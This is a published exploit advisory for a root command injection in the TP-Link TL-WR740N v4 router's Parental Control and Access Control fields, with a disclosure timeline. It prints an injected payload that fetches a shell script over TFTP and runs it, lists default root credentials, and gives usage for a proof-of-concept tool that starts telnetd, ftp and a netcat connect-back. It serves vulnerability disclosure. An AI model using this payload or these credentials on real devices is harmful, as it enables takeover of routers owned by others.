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# Exploit Title: TP-Link TL-WR740N v4 router (FW-Ver. 3.16.6 Build 130529 Rel.47286n) arbitrary shell command execution
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# Date: 08/03/2014
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# Exploit Author: Christoph Kuhl
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# Vendor Homepage: http://www.tp-link.com
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# Software Link: http://www.tp-link.com.de/resources/software/TL-WR740N_V4_130529.zip
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# Version: FW-Ver. 3.16.6 Build 130529 Rel.47286n
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# Tested on: TP-Link TL-WR740N v4
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Exploit:
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https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/34254.7z (Password: TP-P0wned-Link)
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Vulnerability description:
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The domain name parameters of the "Parental Control" and "Access
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Control" features of the TP-Link TL-WR740N v4 (FW-Ver. 3.16.6 Build
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130529 Rel.47286n) router are prone to arbitrary shell command execution
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as root for users who are authenticated against the web interface.
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Each shell payload is restricted up to 28 bytes. The "Parental Control"
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feature allows you to specify 8 domains (= 8 commands) so you have 8 x
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28 = 244 bytes of shell commands. This is sufficient to post-load and
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execute a shell script of arbitrary length from a tftp server.
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Employing this method one can gain full control over the device when
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post-loading a mightier busybox MIPS binary and executing telnetd or
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using netcat to connect back. Default login credentials are known to be
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root:5up, Admin:5up or ap71:.
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Technical Cause:
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The web interface and the whole routing logic on the device is
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controlled by a single homebrew process (httpd) running as root.
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This binary is employing various fopen() and system() calls in order to
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configure the device.
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One of these calls refers to a script (/tmp/wr841n/parent.sh) being
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filled with user input data from the "Parental Control" mask.
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...
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iptables -A FORWARD_PARENTCTRL -i br0 -m mac --mac-source
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00:AF:FE:22:FE:AF -p tcp --dport 80 -m multiurl --urls USER INPUT
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HERE,return1 -j RETURN
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iptables -A FORWARD_PARENTCTRL -i br0 -m mac --mac-source
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00:AF:FE:22:FE:AF -p tcp --dport 80 -m multiurl --urls ANOTHER USER
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INPUT HERE,return1 -j RETURN
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...
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The input data is only poorly checked by some JavaScript functions but
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the server accepts most characters. Entering a shell command surrounded
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by ';' will result in code execution:
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...
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iptables -A FORWARD_PARENTCTRL -i br0 -m mac --mac-source
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00:AF:FE:22:FE:AF -p tcp --dport 80 -m multiurl --urls ;tftp -gr a
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192.168.0.1;,;sh a;,return1 -j RETURN
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...
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The same goes for the Access Control Feature. The only difference is
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that the script name is /tmp/wr841n/accessCtrl.sh.
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The attack is persistent until resetting the parental control or access
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control settings. After rebooting the device will execute the commands
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again.
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This vulnerability may or may not affect other TP-Link hardware and
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software versions. However it was only tested against TP-Link TL-WR740N
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v4 (FW-Ver. 3.16.6 Build 130529 Rel.47286n) within the local network.
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Exploit POC code description:
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The exploit tries to load and execute a shell script called 'a' (for
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attack) from the specified tftpd server. This is for the circumventing
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the length restriction of 28 bytes and the fact that the preloaded
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busybox binary is a bit restricted (no netcat and telnetd available).
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The 'a' script then loads a mightier busybox (filename busyboxx) binary
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from the tftp server specified in that 'a' script (default 192.168.0.1).
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It also sets up a more comfortable environment and starts telnetd as
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well as a ftp server.
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You can then connect to the router via telnet and ftp.
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The exploit code is written in C# (.NET 4.5) so you need .NET Framework
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4.5 to execute it.
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Usage:
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ParentalControlExploit.exe [/a | /p] [RouterIp] [RouterWebIfaceUsername]
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[RouterWebIfacePassword] [TFTPServerIp]
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TP-Link TL-WR740N v4 parental control and access control exploit. 2014
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by C. Kuhl.
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Options:
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/a Use Access Control Exploit
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/p Use Parental Control Exploit
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[RouterIp] IP of the target to attack (default 192.168.0.1)
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[Username] Username of the Webinterface Login (default admin)
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[Password] Username of the Webinterface Login (default admin)
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[TFTPServer] TFTP Host where the 'a' shell file is hosted for execution
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Example: ParentalControlExploit.exe /a 192.168.0.1 admin admin 192.168.0.100
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History of the flaw:
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07/01/2014 - Found it
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07/05/2014 - Notified TP Link via their Online Support Contact
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form including detailed description and link to POC exploit
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07/14/2014 - Got answer via mail that they could not reproduce the
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flaw via the router's web interface and asked for more information.
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07/26/2014 - Replied to TP-Link that one cannot reproduce the bug
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via the router's web interface due to the javascript "check logic" and
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that they need to either employ direct GET requests or use the provided
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exploit
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07/29/2014 - TP Link states that this was no security flaw because
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the attacker had to know the credientials to the webinterface. It was
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like giving the key to your flat to a housebreaker.
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08/03/2014 - Publication |